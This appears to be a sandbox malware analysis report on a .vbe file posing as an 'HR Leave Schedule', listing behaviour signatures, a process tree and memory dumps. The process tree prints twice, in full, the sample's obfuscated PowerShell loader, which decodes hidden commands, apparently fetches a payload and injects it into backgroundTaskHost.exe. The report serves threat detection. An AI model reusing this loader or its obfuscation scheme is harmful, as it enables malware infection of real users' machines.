Analysis
- max time kernel
149s - max time network
116s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
14/07/2026, 23:14
General
- Target HR Leave Schedule. 2026 (Updated).vbe
- Size 30KB
- Sample260714-28ca3sfs7r
- SHA256 9c8b7a49084dbd111b1260773a24bf22ffb4321c45f4bce7bb266b3f7c18b52e
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HR Leave Schedule. 2026 (Updated).vbe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";;;function xkcdjksd {$turkify = 'flabbergaste daotato';[void](Get-Date)}rv 'selvbyggerens' 'brusningers' 'kommandobroernes188';$nonoccupationmportunately = [System.Environment]::OSVersion;$tilsigt=54684-54684;$ticktocks=29974-23974;function lksdjfks {$protoleukocyte = 'dinoz slu';$nonoccupationssuers = Get-Location}function usings ($sinical,$rringspunkterne) {[void](Get-Date);$skalalnningernes179 = 'noxnse nxse';$justerbar=siddha(@(121,215,206,220,219,204,200,223,154,203,230,216,229,156,137,228,219,206,226,188,215,213,227,224,212,219,216,223,215,211,146)) ;Srrettigheder ($justerbar)}[System.GC]::Collect();function siddha ($tapetseringers) { $nonoccupationmpoundment = New-Object char[] $tapetseringers.Count; for ($tilsigt = 0; $tilsigt -lt $tapetseringers.Count; $tilsigt++) { $ticktocks = $tilsigt % 19; $tapetseringers[$tilsigt] -= $splittelsesforsgenes[$ticktocks]; $nonoccupationmpoundment[$tilsigt] = [char]$tapetseringers[$tilsigt]; } $dindled = New-Object string ($nonoccupationmpoundment, 0, $nonoccupationmpoundment.Length); $dindled}function Srrettigheder ($npk149) {[void](Get-Process -Id $PID);&($subimbricate) $npk149}Function Daffiest ($tapetseringers,$guldaldermaleren=0){[void](Get-Service | Select-Object -First 1);$oxamid=siddha(@(176,167,212,220,232,206,217,231,202,163,168,175,229,227,210,180,202,216,217,139,152,184,226,228,210,213,218,149,141,226,202,227,217,217,229,206,215,221,195,203,202,224,229,146));$dibutyrate=@(Srrettigheder ($oxamid));For($nonoccupation=0; $dibutyrate[$nonoccupation] -ne $bulbonuclear; $nonoccupation++){$dibutyrate[$nonoccupation] = usings $dibutyrate[$nonoccupation] $splittelsesforsgenes[$nonoccupation%19]}$naglendes=siddha(@(130,206,212,215,224,137,194,214,213,202,224,196,208,209,137,214,210,199,233,201,221,215,207,230,206));$siroccos169=Srrettigheder ($naglendes);if ($guldaldermaleren) { Srrettigheder $siroccos169}else {;$siroccos169}}$sinicallphatoluic = [System.Guid]::NewGuid();$splittelsesforsgenes=@(85,100,101,110,114,105,103,115,109,105,110,105,115,116,101,114,105,101,116);$subimbricate=siddha @(158,169,189);$nske='\Propeldrevne0.And';$takstrae=Daffiest 'YEpVTlo+Dh0JBhkaUzoxUlhVWmVfRTkbB1FHVkkWX0dPRQAfX0VgVkteW0kgFg4CAUZBRFRCWVREZEQjBwAMARwVRl9cQVpV';$amicability=Daffiest 'PRARHgFTSFwJGwcfFloCHQYCGDBKBgEfRhIQUgwWGRwGEU8NCgM7CAoPFk8OF1BYKi00QlMgPgkGbVQmGT8rDhEkWTkZShwBOAsqDhwKNiU=';$talehandlingens=Daffiest 'GBcdAx5bSSAIGxgMASwoPiExIAVKU0BC';$tyngsel=Daffiest 'EiEx';$continentalize=Daffiest 'ABcAHF8oABYDHQ==';$nonspecious49=Daffiest 'aw==';Daffiest 'cQMJARAIC0kaAB0MEAYEEQIWSXEBCxhICBcDCQgaCFhQCwECAA==' 1;Daffiest 'cQMJARAIC0kOCBwNGhUIFx0ABmhABAMbCgYRBAUHHQpaFgIFDAB9QAsBHBoXFg4AARwAQFxb' 1;$amicability=$cardiameter[0];Daffiest 'cQMJARAIC0keCAMCAUkrFx5IOzcOAA0GSUowAgROTQcVCRcBBBoxCAwAFQwJAA==' 1;Daffiest 'cQMJARAIC0kDDAEHEgAQAVRNIDAXEUMiCBMbTU0ZAAARBgAIBh8mTQ==' 1;while (!$neonatus) {Daffiest 'cQMJARAIC0k5CAwMHwIXGQwRB2hAERwHDA==' 1;Daffiest 'cRcEAxkbSRwdDABBVwAcHA4WETlIRUoTBA4QDAsHBRoAHF5JQRI0CBYLWw==' 1;Daffiest 'cRcEAxkbSQAIHTwMAgEAAR0tETQAABxaTQQcAx0HBxYaERMFDA4wSEVKBggMABkbDwxa' 1;Daffiest 'cRcEAxkbSQAIBwpBWg==' 1;Daffiest 'cQMJARAIC0kaAQcdFhYMAA1YUCYFCAUARxQHDB0bGlNZAANJV0Rl' 1;if ($whitebird) {Daffiest 'DgYcGhcyOi5JDgIGERUJSAoNFSwFFwEdHVpXHggDAgFaFxcaFRs7FwAsHQ0e' 1;Daffiest 'JgdFSgUAFBYOGw8KGAdFVgoNFSwFFwEdHUdeKAcNBhcdCxVJJw0hAQ==' 1} Daffiest 'BggACwJBU1o=' 1;Daffiest 'cQMJARAIC0kDDAEHEgAQAVRNIDAXEUMiCBMbTU0ZAAARBgAIBh8mTQ==' 1 ;Daffiest 'cQMJARAIC0kBBgkAEB0RC1RBEzkLBw8eUwQbAhkKCAFfTldNBhUnAAwPHwwTFh9HDQYGGhE=' 1;$amicability=$cardiameter[$logicity]}$tyrkers=137604;$crassament=20190;Daffiest 'cQMJARAIC0kMDx0CAR8OFwUWEScKAFMVCkdXGgAdDBAGBBECFg==' 1;Daffiest 'cQMJARAIC0k7DAoFGhMAGgYJEDAIFgsBHwIZAQwKBxoaAhcbCxEmWT4tHQcRFh8dM1NJMhcdBCcVJgFTWiEdFRoDDkZNEhIWGRsOHzAIFgsABwJa' 1;Daffiest 'cQMJARAIC0kFBgINHAQAHAxYLwEBHRpcLAkQAg0HBxQpX0goNjccLUspFx00Bx8AAA5bUDMXDQkdMgENAR4NAh8eDB0fFh4JFw0LHTsDABwcDBRa' 1;Daffiest 'cQMJARAIC0kDBgAaEhcAAA0KADQICRdPTQ8cAQ0BGRYaAFwaEBYmEBcHHA5PVxkQHAIWBhZeTQYGNBcWDx8MCQdE' 1;Srrettigheder $nonsacerdotally;function mnvbvc {$hammerkastets = 'sa volaae'};;;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";;;function xkcdjksd {$turkify = 'flabbergaste daotato';[void](Get-Date)}rv 'selvbyggerens' 'brusningers' 'kommandobroernes188';$nonoccupationmportunately = [System.Environment]::OSVersion;$tilsigt=54684-54684;$ticktocks=29974-23974;function lksdjfks {$protoleukocyte = 'dinoz slu';$nonoccupationssuers = Get-Location}function usings ($sinical,$rringspunkterne) {[void](Get-Date);$skalalnningernes179 = 'noxnse nxse';$justerbar=siddha(@(121,215,206,220,219,204,200,223,154,203,230,216,229,156,137,228,219,206,226,188,215,213,227,224,212,219,216,223,215,211,146)) ;Srrettigheder ($justerbar)}[System.GC]::Collect();function siddha ($tapetseringers) { $nonoccupationmpoundment = New-Object char[] $tapetseringers.Count; for ($tilsigt = 0; $tilsigt -lt $tapetseringers.Count; $tilsigt++) { $ticktocks = $tilsigt % 19; $tapetseringers[$tilsigt] -= $splittelsesforsgenes[$ticktocks]; $nonoccupationmpoundment[$tilsigt] = [char]$tapetseringers[$tilsigt]; } $dindled = New-Object string ($nonoccupationmpoundment, 0, $nonoccupationmpoundment.Length); $dindled}function Srrettigheder ($npk149) {[void](Get-Process -Id $PID);&($subimbricate) $npk149}Function Daffiest ($tapetseringers,$guldaldermaleren=0){[void](Get-Service | Select-Object -First 1);$oxamid=siddha(@(176,167,212,220,232,206,217,231,202,163,168,175,229,227,210,180,202,216,217,139,152,184,226,228,210,213,218,149,141,226,202,227,217,217,229,206,215,221,195,203,202,224,229,146));$dibutyrate=@(Srrettigheder ($oxamid));For($nonoccupation=0; $dibutyrate[$nonoccupation] -ne $bulbonuclear; $nonoccupation++){$dibutyrate[$nonoccupation] = usings $dibutyrate[$nonoccupation] $splittelsesforsgenes[$nonoccupation%19]}$naglendes=siddha(@(130,206,212,215,224,137,194,214,213,202,224,196,208,209,137,214,210,199,233,201,221,215,207,230,206));$siroccos169=Srrettigheder ($naglendes);if ($guldaldermaleren) { Srrettigheder $siroccos169}else {;$siroccos169}}$sinicallphatoluic = [System.Guid]::NewGuid();$splittelsesforsgenes=@(85,100,101,110,114,105,103,115,109,105,110,105,115,116,101,114,105,101,116);$subimbricate=siddha @(158,169,189);$nske='\Propeldrevne0.And';$takstrae=Daffiest 'YEpVTlo+Dh0JBhkaUzoxUlhVWmVfRTkbB1FHVkkWX0dPRQAfX0VgVkteW0kgFg4CAUZBRFRCWVREZEQjBwAMARwVRl9cQVpV';$amicability=Daffiest 'PRARHgFTSFwJGwcfFloCHQYCGDBKBgEfRhIQUgwWGRwGEU8NCgM7CAoPFk8OF1BYKi00QlMgPgkGbVQmGT8rDhEkWTkZShwBOAsqDhwKNiU=';$talehandlingens=Daffiest 'GBcdAx5bSSAIGxgMASwoPiExIAVKU0BC';$tyngsel=Daffiest 'EiEx';$continentalize=Daffiest 'ABcAHF8oABYDHQ==';$nonspecious49=Daffiest 'aw==';Daffiest 'cQMJARAIC0kaAB0MEAYEEQIWSXEBCxhICBcDCQgaCFhQCwECAA==' 1;Daffiest 'cQMJARAIC0kOCBwNGhUIFx0ABmhABAMbCgYRBAUHHQpaFgIFDAB9QAsBHBoXFg4AARwAQFxb' 1;$amicability=$cardiameter[0];Daffiest 'cQMJARAIC0keCAMCAUkrFx5IOzcOAA0GSUowAgROTQcVCRcBBBoxCAwAFQwJAA==' 1;Daffiest 'cQMJARAIC0kDDAEHEgAQAVRNIDAXEUMiCBMbTU0ZAAARBgAIBh8mTQ==' 1;while (!$neonatus) {Daffiest 'cQMJARAIC0k5CAwMHwIXGQwRB2hAERwHDA==' 1;Daffiest 'cRcEAxkbSRwdDABBVwAcHA4WETlIRUoTBA4QDAsHBRoAHF5JQRI0CBYLWw==' 1;Daffiest 'cRcEAxkbSQAIHTwMAgEAAR0tETQAABxaTQQcAx0HBxYaERMFDA4wSEVKBggMABkbDwxa' 1;Daffiest 'cRcEAxkbSQAIBwpBWg==' 1;Daffiest 'cQMJARAIC0kaAQcdFhYMAA1YUCYFCAUARxQHDB0bGlNZAANJV0Rl' 1;if ($whitebird) {Daffiest 'DgYcGhcyOi5JDgIGERUJSAoNFSwFFwEdHVpXHggDAgFaFxcaFRs7FwAsHQ0e' 1;Daffiest 'JgdFSgUAFBYOGw8KGAdFVgoNFSwFFwEdHUdeKAcNBhcdCxVJJw0hAQ==' 1} Daffiest 'BggACwJBU1o=' 1;Daffiest 'cQMJARAIC0kDDAEHEgAQAVRNIDAXEUMiCBMbTU0ZAAARBgAIBh8mTQ==' 1 ;Daffiest 'cQMJARAIC0kBBgkAEB0RC1RBEzkLBw8eUwQbAhkKCAFfTldNBhUnAAwPHwwTFh9HDQYGGhE=' 1;$amicability=$cardiameter[$logicity]}$tyrkers=137604;$crassament=20190;Daffiest 'cQMJARAIC0kMDx0CAR8OFwUWEScKAFMVCkdXGgAdDBAGBBECFg==' 1;Daffiest 'cQMJARAIC0k7DAoFGhMAGgYJEDAIFgsBHwIZAQwKBxoaAhcbCxEmWT4tHQcRFh8dM1NJMhcdBCcVJgFTWiEdFRoDDkZNEhIWGRsOHzAIFgsABwJa' 1;Daffiest 'cQMJARAIC0kFBgINHAQAHAxYLwEBHRpcLAkQAg0HBxQpX0goNjccLUspFx00Bx8AAA5bUDMXDQkdMgENAR4NAh8eDB0fFh4JFw0LHTsDABwcDBRa' 1;Daffiest 'cQMJARAIC0kDBgAaEhcAAA0KADQICRdPTQ8cAQ0BGRYaAFwaEBYmEBcHHA5PVxkQHAIWBhZeTQYGNBcWDx8MCQdE' 1;Srrettigheder $nonsacerdotally;function mnvbvc {$hammerkastets = 'sa volaae'};;;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- System Location Discovery: System Language Discovery
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
Propeldrevne0.And
memory/2600-28-0x0000000006050000-0x000000000606E000-memory.dmp
memory/2600-23-0x0000000005E60000-0x0000000005EC6000-memory.dmp
memory/2600-36-0x0000000008E00000-0x0000000009FFA000-memory.dmp
memory/2600-34-0x0000000008840000-0x0000000008DFA000-memory.dmp
memory/2600-21-0x0000000005600000-0x0000000005622000-memory.dmp
memory/2600-33-0x0000000007610000-0x0000000007632000-memory.dmp
memory/2600-20-0x0000000005670000-0x0000000005CBA000-memory.dmp
memory/2600-19-0x0000000002BB0000-0x0000000002BE6000-memory.dmp
memory/2600-31-0x0000000006870000-0x000000000688A000-memory.dmp
memory/2600-30-0x0000000007C00000-0x000000000827C000-memory.dmp
memory/2600-29-0x0000000006960000-0x00000000069AC000-memory.dmp
memory/2600-26-0x00000000060B0000-0x000000000640B000-memory.dmp
memory/2600-22-0x0000000005DF0000-0x0000000005E56000-memory.dmp
memory/2600-32-0x0000000007670000-0x0000000007706000-memory.dmp
memory/4812-11-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp
memory/4812-13-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp
memory/4812-3-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp
memory/4812-18-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp
memory/4812-2-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp
memory/4812-0-0x00007FF9BD71F000-0x00007FF9BD720000-memory.dmp
memory/4812-14-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp
memory/4812-8-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp
memory/4812-12-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp
memory/4812-10-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp
memory/4812-9-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp
memory/4812-7-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp
memory/4812-1-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp
memory/4812-6-0x0000017239950000-0x0000017239972000-memory.dmp